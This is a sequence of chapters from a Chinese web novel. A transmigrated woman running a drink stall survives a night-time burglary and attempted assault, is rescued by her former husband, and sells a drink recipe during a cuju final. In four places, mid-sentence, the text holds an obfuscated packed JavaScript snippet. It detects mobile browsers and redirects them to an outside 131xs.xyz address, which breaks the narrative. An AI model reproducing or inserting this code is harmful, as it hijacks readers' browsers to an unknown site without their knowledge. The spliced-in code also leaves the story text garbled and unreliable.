江清澜一共做了四小碗双皮奶，自己吃了一碗，让团团吃了三碗。 收拾了锅碗瓢盆，又盘了账，就准备睡觉了。 明天还有一场蹴鞠赛呢。最后一场，肯定人更多，她们会更加忙碌。 院门早关了，正屋的门还半开着，好让夜风送些凉意进来。 团团正在正屋里洗脚。 她坐在小木板凳上，把雪白的脚丫子伸进木盆里。 她的两只脚晃悠着，去互相击打温热的水，玩得不亦乐乎。 “别把裤腿儿打湿了。”江清澜蹲下身子，帮她用带子把裤腿儿扎得更高些。 小孩子一玩水，就特别不安分，说也说不听。 团团这家伙也不例外，一双胖腿在水里胡蹬乱踢，让她阿姐扎得有些吃力。 终于扎好了，江清澜站起身，有些头晕眼花。 一瞥，只觉院墙上好像有个影子闪过。 她心下狐疑。再定睛一看，繁星璀璨，树影婆娑，到处黑咕隆咚的，哪里有人？ 她摇摇头，只当自己眼花了。 18. 就怕贼惦记(一） “陆斐？” 东平王府里，谢临川看着纸条上的名字，玩味道。 “是。”平林躬着身子回答。 “陆郎君是承平十一年的进士，二甲第一名传胪，现为秘书省著作郎。” 谢临川冷笑一声： “我竟不知道，临安城里有这号人物？” 平林知道他主人的意思，答： “回世子爷，陆郎君幼时在绍兴府。十二岁丧父后，才与其兄搬来临安。” “他的蹴鞠功夫，应是自小在绍兴府学的。但自来了临安，他便一门心思读书，从未参与过蹴鞠比赛。” “哦。”谢临川的食指敲在纸上“陆斐”两个字上，令紫檀案牍笃笃地响。 白日比赛时那移形幻影的身形，在脑中晃过。 他哼一声，不屑道：“不过整些虚招子而已。” 说罢，他将那张纸挼成了个团团，“啪”一声，扔进了桌下的月白釉渣斗中。 又立即拿起马鞭，风一样地往外走。 “世子爷，”平林急速跟上，“这么晚了，您有什么事儿，吩咐奴一声就行了。这会子出门，若是王妃问起来……” 谢临川充耳不闻，出得门去，回身“哐当”一脚，把门踢得关上了。 平林跟得紧，鼻子差点儿被碰断！ 等他捏着流血不止的鼻子，追到后门去时，回应他的，唯有长街得得的马蹄声。 —— 亥时三刻，江米巷。 江清澜猛的睁开了眼。 夜黑得深沉，天上一颗星星也没有。雷声隐隐——看来，要下雨了。 榉木桌子上，放了很小的一盏灯。 这灯是江清澜故意不吹的。 一是因为团团有时晚上要如厕，现点灯她嫌麻烦。 二则是，她习惯了现代的光污染，陡然在黑得化不开的夜里入睡，有些害怕。 她醒了，先下意识去摸睡在里面的团团。还好，小丫头呼吸沉稳，胖胳膊、胖腿儿都在。 江清澜这才竖起耳朵，倾听外间的动静。 不错，方才那不是她的幻觉，是有窸窸窣窣的声音，好像是——有人在翻东西！ 老天，这是……招贼了？ 这样一想，江清澜只觉汗毛倒竖。 这屋子里只有她们姐妹两个。左边倒是有户邻居，但这几日男主人去外地做生意去了，家里也只有孤儿寡母。 右边则是所空院子，还没租出去。 也就是说，就算是她现在呼喊起来，也没人来帮忙撵贼。 但不喊呢，她又怕银子被盗了，这可是她辛辛苦苦攒下来的！ 正这般想着，“吱溜”一声儿，内室的门轻轻被打开了。霎时间，江清澜的心提到了嗓子眼儿！ 定是贼人没在外间翻到银子，上内室来找了！ 不错，她的齐整银子，四十多两，一部分压在枕头下的暗格里，另一部分，埋在院子的破鸡窝里。 算了，保命要紧！ 江清澜紧紧闭上眼，装作睡着了，心里祈盼着那贼子找不到暗格。——就是找到了，她就当破财免灾了！ 贼子四下翻动了一阵，径直往床榻这边过来，在被子下、床板下乱摸。 江清澜背对着他，心如擂鼓，牙齿战战。 她嘴皮都咬破了，满口的血腥味儿，只此时紧张，也感觉不到。 床榻摸遍了，只有枕头底下了。 那贼子轻手轻脚地过来，正要伸手，忽见里面那个小女孩猛然坐起身来，嘟嘟囔囔道： “阿姐——我要撒尿——” 此时，他正站在床头，手已经放到枕头下面去了。 那小女孩向着外面，猛的睁开眼睛。 登时，就着昏暗的灯火，四只眼睛，大的瞪小的，都在对方眼中看到了惊慌。 时间定格在了这一瞬。 “啊啊啊——”团团吓得吱哇乱叫，“有鬼！” 江清澜登时翻身起来。 她把妹妹往床脚一拉，蒙住她的眼睛，自己也别过脸去不看，瑟瑟发抖着说： “这位好汉，妾知你定是遇到了困难，才来借点儿钱。枕头下面有十来两银子，你拿去用。” “拿了银子，宜快些离开。左边曹娘子家的夫君，是临安府署的武人，就要巡街下值回来了。” “若不巧遇上了您，恐产生误会。” 她这话说得漂亮，句句是在为贼人着想。 果然，贼人听了，并不吱声儿。 他掀开枕头，取出暗格，果然找到二十来两银子，便要跑路。 恰此时，团团忽挣开江清澜的手，大声道： “我认识你，你就是赶马车的人！” 江清澜心里一万头草泥马奔腾而过： 这笨蛋！你不说破人家的身份，人家还只要钱；你说破了，人家就要你的小命了！ 果然，那人脚步一顿，又转身回来了，正是赶车的陈四儿。 他白日里总笑呵呵，看着十分的忠厚老实。此刻却眼冒精光，一脸的凶相。 团团这厮，倒有些初生牛犊不怕虎的莽劲儿，大放狠话： “你……你想怎样？” “我告诉你，我姊兄（姐夫）可是朝廷的大官儿，你要是敢怎么样，他一定不会饶过你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650238|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” “哈哈，”陈四儿冷笑，“小娃娃，你还在做梦呢？！你要是有那样的姊兄，能和你阿姐住在这种地方？” 陈四儿本是秀州的一个混混，有些三脚猫功夫。 他在老家犯了事儿，隐匿姓名逃到临安，在马车行赶车，赚几个大钱。 偏他又染上了赌瘾，日日得了钱就进赌坊，立即就输了个精光。 这两日关朴蹴鞠，也是借的钱，场场是输。 他赶上江清澜这里的活儿，见她们只两个女娘，出手又大方，便起了偷窃的心思。 临安的刑罚制订得严苛。偷窃二十两银子，至少得挨四十大板，非死即残。 如今，横竖被认出身份来了，索性把小胖子打晕，再尝尝那小娘皮的滋味儿。掳了银子，隐入山林去就是了。 他一边这样想着，一边淫.笑着往床脚靠近。 江清澜见他神色，已知其意，心跳狂乱如擂鼓。 忽的，她灵机一动，紧咬牙关，刻意咬破腮肉，再猛然一阵咳嗽，“哇”地将一口鲜血吐在了手心里。 她颤颤巍巍，一边咳，一边摊开手心给陈四儿看鲜血： “好咳咳……好汉，实不相瞒，咳咳咳妾……妾有肺痨，才被夫家休弃……咳咳……” 她哀哀看一眼团团：“阿妹，恐怕也咳咳……染上了……” 团团终于聪明了一回，也跟着咳嗽了几声。 陈四儿闻言，唬了一大跳。 肺痨可治不好，还会过病气给周围的人。他若是染上了，便是去当山贼，大王也不收的。 一念至此，他后退了几步，犯起了犹豫。 江清澜等的，就是他的犹豫。趁机牵起团团，跳下床就往外跑！ 可是，她到底是女娘，比起男人，手短脚短的，又有团团这个拖油瓶在。 于是乎，还没奔到门口，她们就被陈四儿抓住了胳膊，一手一个，搡倒在了床.上。 陈四儿冷笑：“你这小油嘴儿，满肚子花招子！你若是有肺痨，府署怎会开牙帖让你去卖饮子？” 一边说着，一边已经在解裤.带了。 江清澜紧紧搂住团团，浑身乱颤。 万事休矣！ 她的心沉到了谷底，只好颓然闭上了眼睛。 浓郁的汗臭味儿越来越近，男人火.热的气息几乎要喷到她的脸上。 江清澜狠狠咬牙，心道： 老子一个现代人，睡个觉而已，怕个屁！就他.妈的当被狗咬了！ 她还在想，若有幸保住命，第一要务，是去买藏红花。 却听“哐啷”一声，什么东西倒在了地上。 19. 就怕贼惦记（二） 江清澜倏的睁开眼，身子还不可遏制地乱颤着。 只见三步远外，站着一个身材颀长的青年。他着蓝袍黑靴，手里握着她竖在院墙边的扁担，脸上一团阴郁。 那陈四儿，已然昏倒在了地上。 “陆阿兄！”团团惊喜地叫起来，挣扎着要过去。 江清澜定睛一看，真是陆斐！ 她们得救了！ 心下松了，才泛起后怕，只觉冷汗涔涔、手脚酸软，几乎要摊倒在床.上。 然后，不过片刻，她又紧张起来，心乱如麻。 她倒宁愿恩人是个陌生人。 这个陆斐，之前落井下石，现下又来雪中送炭。 她不知，他是虚伪呢，还是别的什么。也不知，自己是该感激涕零，还是该大棒子把他打出门去。 此刻，她用一双眼睛警惕地打量着他。手臂把团团紧紧搂住，不让她立时倒戈，扑到别人怀里去。 碍着兄长陆昀的事，陆斐一直都不敢来关照她们。今日在蹴鞠场一见，他再也忍不住。 哪里知道，这一来就遇到这样的事？ 也不知，她们这些日子，受了多少苦？ 陆斐只觉，自己的心被利刃扎了个对穿。 此时，他看江清澜唇上、衣襟上、手上都是鲜血，大惊失色，就要走过去。 江清澜才觉自己满口的血腥味儿，立刻抬手，制止了他。 她勉力一笑：“无事，是我自己咬的。”低头看看染血的衣襟，又发现她们姐妹只穿了寝衣。 她便不顾怀中团团的挣扎，拉过被子来盖住，客气地说：“多谢陆郎君相救，容妾与阿妹穿好衣服再说。” 陆斐听了这话，身子立时一僵。他缓缓垂下眼眸，怔忪了片刻。然后，他转身，把昏倒的陈四儿拖去了外间。 江清澜姐妹出去时，陈四儿已被麻绳五花大绑，丢在了墙角。陆斐负手站在窗下，听着外间潇潇的雨声发呆。 “陆阿兄！”团团到底还是扑了过去，抱着他的大腿，眼中盈满泪水，“我就知道，你跟阿姐和离是有苦衷的，你是舍不得阿姐的！” 陆斐低头看一眼团团，又抬起头，看着江清澜。 他那双眸子深潭一般，幽幽若若的，既满含痛苦，又蕴了深情。 良久，他垂下眼眸，低声道：“是我对不起你们。” 团团放声大哭。 江清澜怔了半晌，心中也感叹：哎，这爱恨交织的虐恋…… 她本以为陆斐是那等势利眼儿，接近原身，只为了原身父亲的身份。现在，看他一副失魂落魄模样，团团又信誓旦旦的，她便也信了，他有苦衷。 但是，她深知，刀不快，斩不断乱麻。 原身已死，陆斐犯的错再也无法被原谅。江清澜作为穿越而来的现代人，不想参与他们的虐恋。 并且，陆斐能在那种情况下与原身和离，即便有苦衷，也不堪为托付终身的良人。 当日既和离了，如今又来拉拉扯扯、纠缠不清，定会贻害无穷。 情形一思便明。 当下，她振作精神，一把扯过团团，严肃道：“阿姐跟你说过什么，你都忘了吗？” 又直视着陆斐的眼睛，平静却坚定地说： “陆郎君忘恩负义、落井下石，在妾艰难时与妾和离。今夜，却又救了我姐妹二人。” “如今，一报还一报，算是扯平了。咱们之间，怨与恩、仇与情再也没有了。还望陆郎君知悉。” 团团满脸涕泪，扯着她的裙子，呜咽道：“阿姐，你……” 江清澜不为所动，略略提高声音，又问了一次：“陆郎君，你可知悉？” 陆斐长身玉立，怔怔不语，像一竿凄风苦雨中的修竹。良久，他艰难道：“我……知。” 忘恩负义、落井下石，她说得对。 如今这般，是他咎由自取、罪有应得。 忍着胸中的窒息感，他顿了顿，又道：“陆家现在有些困难，嫁妆……暂时还不了，但终于一天，我会还的。” 江清澜松口气：“那谢谢陆郎君了。” 她的父亲可是正五品，又只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662457|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她与团团这两个女儿，嫁妆定不会少。 那可是白花花的银子，可以买很多肉、很多菜。 她才不会为了陆斐的什么困难，就圣母心上头，说嫁妆不要了。 钱，虽不是万能的，但没有是万万不能的！ 她这番划清界限的狠话一出，屋子里立时安静。 只有窗外的潇潇雨声，伴着团团低声的啜泣，听起来甚是凄凉。 江清澜才没空伤春悲秋，冷静下来，她思虑得很是周全： “此巷只妾一家，左右邻人都不在。深更半夜，陆郎君出现在此，瓜田李下，积毁销骨。” “妾姊妹二人，立世不易。请郎君惜妾名誉，将此贼人送官时，只说是他偷窃财物，不要提及妾。” 这番话说得客气又疏离，陆斐听罢，心底一片凄然。 她表面上是说贼人，实际是在说他们两个。表面是请求，实则是在警告，让他再不要来了，否则，她就要报官。 外间的雨下得密密的，如织就了一张天幕，把陆斐的心也牢牢地网住了。 良久，陆斐闭眼，无奈道：“好。”又睁开眼，看了看昏死的贼子，“那他……” “这个不难。” 江清澜掏出一块黑布，示意他去蒙上陈四儿的眼睛。 待蒙好了，她端起准备留着浇地的、之前团团的洗脚水，微微一笑，“哗啦”一声，尽泼到了他的脸上。 “呜呜呜——”陈四儿让凉水一激，登时醒了。 奈何他身上被缚，嘴里塞着破布，眼前又一片漆黑，昏头昏脑的，也不知在什么地方。 正要挣扎，小腿剧痛，是让人狠狠踢了一脚。 “走！” 他被人推搡着，又是挨踢又是挨打，走了老半天。待黑布被揭开，已到了临安府署的大狱里。 陆斐处理完陈四儿，从府署出来。 其时，更漏迢递，夜雨潇潇。他月白的襕衫为漫天雨幕浸染，变作了郁蓝。 一如他的心绪。 他眺望着御街北，怔怔不语。 20. 蜜枣发糕 因昨夜的惊吓，第二天一早，江清澜就去狗市买了一只大黄狗。 此时，它正被拴在院子里乌桕树的脖子上。 这条狗长得有点儿像狼，性子很烈。见着谁，它都挑衅似的露出尖尖的牙齿，汪汪汪一阵狂叫。 狗贩子说，这是专门的看家狗，养熟了后它对主人忠心不二，对坏人辣手无情。 江清澜其实有点儿怕狗，但为免旧事重演，还是买了这只。 狗贩子帮忙，把狗送到了江米巷，姐妹两个却不敢靠近了去喂。 最后，她们想了个办法—— 取出前日吃剩下的油汤油水，拌了些剩米饭，装在大粗瓷碗里，放在地上。 再用个树枝，将碗慢慢地拨过去。 大黄狗性子烈，又饿得慌，见了食物就发狂。 见她们一拨，它就狂叫一通，把两个人吓得丢了树枝就撒丫子跑。 可狗还是没吃到啊，叫了一阵又安静了下来，可怜巴巴地盯着一臂之远的油汤拌饭，哈喇子流了一地。 姐妹两个瞧见此模样，又鼓起勇气去拨。 哪知，大黄狗见狗碗动了起来，又兴奋起来，扑起来狂叫…… 如此三番五次，狗以为自己被耍了，怒得龇牙咧嘴，吠得声嘶力竭。 江清澜姐妹两个呢，胆子吓破了，人也累得个半死，叫苦不迭。 经历了昨晚陆斐的事儿，团团有些闷闷的，自这条大黄狗来了，她倒忘了那事儿。 此时，她扶着院墙，气喘吁吁地道：“阿姐，我怎么觉着，咱们不是买了只狗，竟是买了个祖宗？” 江清澜愣了，接着，笑得扑哧一声。 在现代，她有个远房亲戚，真的姓苟！她仿佛记得，小时候，村儿里的人，开玩笑似的，把他叫“苟哥”“苟弟”。 还有一次，有个小孩儿叫“苟叔叔”，让他妈妈敲了个爆栗，说要叫“建仁叔叔”。 苟建仁。 看看流着哈喇子的大黄狗，又看看团团那天真的模样，江清澜笑得捂住了肚子。 …… 为防旧事重演，除了买狗，江清澜还有两个打算——一是存钱，二是买婢女。 存钱好说。 此时已有了钱庄，官办私办都有。们交银子进去，换得一张“钱引”，也就是现代的存折。 取钱的时候，必须要本人携钱引去钱庄，“人”“引”相契合。 如此，就不怕盗贼来家里行窃了。 只有一条不同——此时，存钱不止没利息，还得向钱庄交少许的保管费。 江清澜选了一家官办的钱庄，存了三十两进去。 一年交一钱银子的保管费，对她来说，尚能接受。 然而，钱好存，婢女却不好买。 这几年天下一统、风调雨顺的，人人都安居乐业。 牙行里的女子，多是些模样好、身子娇弱的小女孩儿。 应是牙人们从小养的，专为卖给大户人家伺候男人的。 江清澜想买的却不是这种。 她想要的，模样怎样不重要，不聪明也行，却要高高壮壮，有一把子力气。 这婢子既可以打水、挑担子，帮忙干些体力活儿，也有安家镇宅、吓唬贼人之效。 牙人听完她的要求，道：“若是要下力的，不若买个小子？” 说罢，就请她去看。 屋子里，有一溜儿的男人。清秀的有，威猛的有，小少年有，糙汉子也有—— 有个汉子急于推销自己，还把胳膊抬起，给她看耸得高高的二头肌。 江清澜倒是敢看。 光着胳膊算什么，穿越前，什么光.溜.溜的跳水运动员，她还看得少么？ 只是，她怕团团犯疑，当下红着脸一溜烟儿跑了。 最后，还是没买小子。 她一个和离之人，又带个小妹妹，买个小子，一则不方便，二则，也怕引狼入室。如那车夫陈四儿，貌忠厚而性狡诈者，实在不少。 宁缺毋滥吧。 横竖银子大多存了钱庄，院子里，也有凶恶的大黄狗，安全系数高多了。 婢子，后面慢慢再挑合适的吧。 姐妹两个从牙行出来，赶紧回江米巷准备柠檬水去。 今天下午，可是蹴鞠比赛的最后一场！ —— 风云楼，绿茵阁。 朱明半躺在榻上，享受着敏敏、娇娇四只手的捏肩按腰。 他拎起一串紫葡萄，张嘴咬了一个，“噗”一声吐了皮儿和籽儿，道： “比赛都开始这么久了，流光呢，还不来？又让宝庆公主缠上了？” 陈跃道：“我看，是怕你又给她点妓子。” “嗐，他呀，愣头青一个，是不知道女人的滋味。” 朱明在敏敏的脸蛋儿上掐了一把，以过来人的语气道： “你瞧着吧，等他哪天开窍了，不定得猴急成啥样。” 陈跃笑着摇摇头，不置可否。 他这个人比较讲究，不像朱明这样，什么女人都碰。 而且，他已定了亲，是清河崔氏的娘子。在这些事情上，他多少得收敛些。 当下，他便不接话头，只指着场上说： “你看齐云社那人，怎么也与李正一般戴个面具？莫非，也是贱籍？” 建德初年，李正的祖父李旻卷入越王造反案，累及三代。 李旻本人被斩，其妻儿被刺配雷州。 数年后，李正在雷州出生，亦逃不过黥刑，脸上被刺“贼后”二字。 承平初年，今上新立，大赦天下。李正一家得以从苦寒之地返回临安。 但他们仍属贱籍，不得参与科考、不得为官，也不得剜去脸上刺字。 偏偏李正这人，在蹴鞠之上极有天赋，尤擅射门。 临安蹴鞠风气极盛，技高者为尊。人们也不在乎贱籍不贱籍了。 在比赛中，李正往往戴个银色面具，以遮掩脸上的“贼后”二字。 一念及此，朱明把桌上的蹴鞠名单拿起来看。 在齐云社的一大堆名字中，他找到一个叫刘兴良的：“这人姓刘，怕也是贱籍。” 刘姓是北汉政权的皇姓，而北汉，是宋军最后一个征服的政权。 建德帝兵临城下之际，刘家拒不投降，令宋军付出了极为惨重的代价。 城破后，建德帝大怒，剿杀北汉皇室，令刘姓皆为贱籍，刺字并累及三代。 陈跃也想起这茬儿，点点头，道： “昨日，火焰队来了个陆斐，把齐云社踢得落花流水。且看今天，齐云社这个刘兴良又是什么奇兵。” 今天的打法还真和前两次不同。 火焰队的李正连赛两场，颇有些疲态。并且，他们已然领先，只要保持防守，就能赢。 齐云社需要绝地求生，冲锋更猛烈。 上半场快结束时候，齐云社获得了控球权，将球踢到了对方的半场。 朱明道：“你看，齐云社派了个蠢蛋去防陆斐。” 但见场中，陆斐左冲右突，脚影飞快。偏齐云社盯防那人像个木鸡般，动作总是迟一步。 陈跃道： “这可不是蠢蛋，是大智若愚。陆斐不是擅长假动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667207|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作吗，齐云社来个呆若木鸡，你待如何？” 又看李正。 之前两场比赛，齐云社都派了三个人防守李正。这一场，只有两个人防，其中便有刘兴良。 此时，球在陆斐脚下，想传给李正。 但一红二蓝，三个身影极快地交锋在一起，根本看不清谁是谁。众人只觉，两人的银色面具反射着天光，晃得人眼花。 陈跃奇道：“昨天来个陆斐，今天又是刘兴良。” 话音未落，只见刘兴良猛然冲出，拦截住陆斐传给李正的球，再一招蝎子摆尾，让球正正进了风流眼。 与此同时，上半场结束的锣声哐哐地响起。 朱明把嘴里的葡萄“呸”一口吐出来，揉了揉眼睛： “哎，这刘兴良兴防的不是李正吗？啥时候冲锋的，好快的脚法！” 陈跃道：“越来越有意思了。” 朱明猛拍大腿：“娇娇，你去！我再追加一百两，关朴齐云社赢！” —— “哎呀，陆阿兄他们输了！”场地边上，柠檬水摊子外，团团急得着急上火，负气说道。 江清澜却很悠闲。 左右现在没什么客人，她坐在小板凳上，把蜜枣发糕撕成小块小块的，再慢慢地放进嘴里。 ——哎呀，由不得她不斯文。 昨天，她把腮肉咬破了，现在一张嘴就疼。 油荤、茱萸等刺激性的东西，她是一点儿也不能吃，只好买个发糕当点心了。 好在，这蜜枣发糕蒸得真不错。 黄褐色的糕点松松软软的，满是气孔小眼儿。 上面缀着一颗密渍过、去了核的红枣。 发糕入口，先是绵软的口感。再轻轻一抿，糕体就化了，口中充斥着甜而回酸的味道。 许是因为这个时代还没有香精，食物的甜都淡淡的。 而那回酸，来源于“发糕”的“发”，也就是发酵。 因为甜味淡淡，发酵的酸味儿尝起来倒更纯正、更天然了。 这枣子吃起来，也和现代的不同。口感更软、更烂，味道也只比发糕略甜一些，并不腻味。 江清澜把最后一小点儿发糕，和着枣子慢慢嚼了。 见团团紧盯着场中后撤的陆斐，一派关切神情，她便道： “那蜜枣发糕你吃不吃，不吃我吃了哈？” 装作要去抢她手里的发糕。 团团哪里肯依，捏着发糕往旁边一躲： “我要吃，我要吃的！” 她说着话，眼睛却始终追随着那道红色身影。 等彻底看不见了，她才拿起发糕乱啃了几口，最后囫囵全塞进了嘴里。 …… 齐云社的蹴鞠后场，其他球员早被赶去了另一间屋子，此地仅余“刘兴良”一人。 力战许久，他并无疲态，只把银色面具扯开，露出一张分外英俊的脸来。 正是谢临川。 他胡乱用袖子擦了擦额头的汗，随手抄起桌上的水盅，仰头咕咚咕咚喝了起来。 霎时间，一股冰爽之气从喉咙灌透全身。 酸中带甜、甜中略咸，饮之令人暑气尽消、疲乏全解。 一气喝光。 他拿着陶盅仔细看了看，是“柠檬水”三个字。字迹俊秀，又隐隐透着风骨。 齐云社也大量购入了这种饮子。 他眯起眼睛，寻找着外面那个标语奇特的摊子。 找到了，江娘子今天仍穿着苍葭绿的衣裙，好像在吃什么东西。 会吃。聪明。心思奇巧。 他微微一笑。 21. 猪肉葱油饼 方才中场休息，江清澜做了几单生意。 这会子比赛开始了，摊子前冷清，她闲得无聊，又吃起油饼来。 油饼是小葱猪肉馅儿的。 叫她说，比蜜枣发糕好吃得多，只是——她嘶了一口气。 只是饼皮比发糕硬，要花更大的力气来嚼。 这一嚼嘛，就容易碰到腮肉中的伤口。 但区区伤口，焉能阻碍人享用美食？ 油饼油饼，顾名思义，是在油锅里炸过的。 它最外一层酥酥脆脆，呈金黄色，焦香四溢。 里面却另有乾坤：疏疏地包了小葱和猪肉，以及颗颗白色的大头萝卜。 油饼吃起来外焦里嫩。沾着馅儿料的面皮滑嫩嫩的，大头萝卜脆蹦蹦的，口感十分丰富。 味道也很诱人。 面粉入油锅，是最出香味的，小葱又与猪肉混合，奇香无比。 将这样一块有油有肉、有菜有面的饼吃完，生活都变得美好了。 江清澜吃几口，嘶一声，停下来让伤口缓一缓，正好观看场中局势。 此时已是决赛中的决赛，双方球员都进入了最后的冲刺。 她其实并不太懂足球，只觉得是火焰队发起了猛攻，尤其李正与陆斐两个，配合得密不透风。 只是，齐云社那些也不是吃素的，那个银色面具的人一直紧紧跟随着。 江清澜正看得兴起，忽听身旁有人道：“娘子——” 一看，是个四十余岁的中年男子，穿的是织锦。非富即贵。 他身边跟着个小厮，着齐云社的蓝衣打扮。 “朝奉何事？”江清澜忙收起油饼，笑盈盈询问。 “某姓郭，乃齐云社的话事人。某有意购买你的柠檬汁方子，能否借一步说话？” 他说得颇为诚恳，一双小眼睛却转得飞快。 江清澜心中窃喜：哈哈，不枉我这几天吭哧吭哧地放长线，来了一条大鱼！ 心里迫不及待，嘴上却说着： “自然方便。只是，齐云社与火焰队决战在即，胜负关乎关朴巨财，郭朝奉不在场边观战？” 郭朝奉也耿直，直言道： “某是个生意人，不懂蹴鞠战术，有教头在旁观战即可。某若在场，倒影响他们发挥。” 江清澜心道：多么好的老板啊！真真儿羡煞现代社畜！ 她三两下收拾好贵重物品，请卖瓜子儿的老叟帮忙看摊子，就要牵着团团，随郭朝奉去。 岂料，团团紧张陆斐，不愿离开。她只好让郭朝奉的小厮留下，帮忙照顾妹妹一二。 随郭朝奉进了屋。 一看，桌子上、地上乱七八糟地放着一堆陶盅，正是她之前用来装柠檬汁的容器。 看来，他们确实是喝了好几天了，试过了柠檬水的威力，才来的。 当下，她心中有了计较。 郭朝奉却暗道：她一个女娘，摆个小摊儿，纵然从哪里得到了这个奇方，也是没见过大世面的。 我随便唬她一唬，将方子买来便是。 于是，他东拉西扯地吹捧起来，最后才道： “我出二十两买娘子的方子。这个价，你摆半年摊儿也赚不到。” 江清澜心道：我摆那么久摊儿干嘛？不就是为了赚你的钱，才摆这几日的？ 面对他的出价，只摇头不语，作势要走。 郭朝奉真想要买，见人没唬住，忙加了价：“那……三十两？” 江清澜脚步未停，已打起了出门的帘子，身后人声追到：“五十两！” 郭朝奉自然有他的难处。 没有这柠檬汁倒也罢了。既有了，不是他买去，便是对手火焰队买去。他肯定得先下手为强了。 江清澜终于停下脚步，转身笑道： “五十两可不行。实不相瞒，郭朝奉来之前，火焰队的戴朝奉已经来过了，他出八十两我都没卖。” 郭朝奉吓了一跳，火焰队也知道了？ 他也不请人坐了，径直追到门口，开门见山地说： “你要多少？” 江清澜伸出一根手指：“一百两。” 郭朝奉咬牙：“成交！” 当下解下腰间的钱袋子，掏出两个银锭子：“收银子，给方子！” 江清澜摇摇头：“火焰队出八十两，我没卖。后来，他出一百两我就卖了。” 郭朝奉脸色一变，唇下小胡子微撇，嘿嘿笑道：“小娘子，你耍我！” 江清澜也笑，只她是诚心诚意地笑，不像郭朝奉笑得瘆人： “郭朝奉息怒。柠檬汁方子卖了，我那摊子上，却有更厉害的一种饮子，唤作神仙水。” “此种饮子效用更好，口感更佳，售价一百二十两。” 她引着人往自己的摊子方向去： “我早已准备了十几盅神仙水。” “郭朝奉，您先将这些饮子带去，给郎君们试试。效果好的话，再来买也不迟。” 到了摊子处，郭朝奉接过这种新的饮子—— 只见其颜色比柠檬汁更深，呈现橙红色，还漂浮着些果粒。一尝，略有些橙子的酸甜味道。果然是橙子榨的汁。 可不知为何，除了橙子味儿，还隐隐有一股奶香。 它又不似牛乳那般浓郁，而多了些清甜。 其实，所谓的神仙水便是橙汁椰汁水。 江清澜将柠檬换成了橙子，加入少许盐，最后再加入椰汁。那种清甜的奶香味儿，便来自椰汁。 橙汁中富含维生素C，椰汁中则有钙、镁、钾等多种矿物质。 二者一混合，实乃加强版的电解质水。 此外，橙子比之柠檬来说，少酸多甜，老少皆宜。老人喝，也不怕人牙酸了。 郭朝奉尝完，深觉滋味不错。他正要嘱咐小厮来搬水盅，忽听场内“哐啷”一声。 戴银色面具的“刘兴良”，忽然从火焰队的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15674983|172371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包抄中突围，飞起一脚长传，让球画了个巨大的弧线。 万千观众的目光，紧紧追随着这颗球。 有些人啧啧称奇，有些人却张大了嘴巴，似是不敢相信球能踢这般远。 此时，留守的齐云队球员接到长传，迅速一脚射门。 球进了！ 场中响起了巨大的欢呼声。 关朴买了齐云社赢的人尤其兴奋，手舞足蹈、声嘶力竭。 只，众人并不关注齐云社进球那人，而是到处寻找着长传的“刘兴良”。 陆斐与李正对视一眼，脸色都不好看。 若说上颗球，是他们猝不及防，那这颗，就是“刘兴良”的实力所归。 且不说，那一脚长传的威力有多大，只说这人早存了这心思，却与他两个假模假样地纠缠，心思何等深沉，实力何等强大！ 到此时，火焰队总分已落后。 陆斐长眉紧拧…… 郭朝奉的小厮已看呆了，拎着两盅神仙水，喃喃道：“小刘哥他，什么时候变得这么厉害了？” 此球一进，齐云社的关朴定会暴涨。 郭朝奉想了想，忽然大方起来，掏出几锭银子：“这神仙水也不必试了。我相信娘子，交方子吧。” 江清澜眼皮一跳，高兴得想尖叫，兴冲冲地去摊子里默方子。 外面激烈的赛事、山呼海啸的声音，她是充耳不闻。 此时，齐云社发起了最后的进攻。 谢临川瞪陆斐一眼，心道：你不是擅长假动作吗？让你看看，遇上了我，假动作有什么用处！ 他任陆斐闪转腾挪，自岿然不动，让球在自己脚下翻滚自如。 见陆斐奔到身前要来铲球，谢临川微微一笑，转身背对着火焰队的人墙。 忽的，他飞起左脚，将球微踢到半空，猛然跃起，右脚一记倒挂金钩。 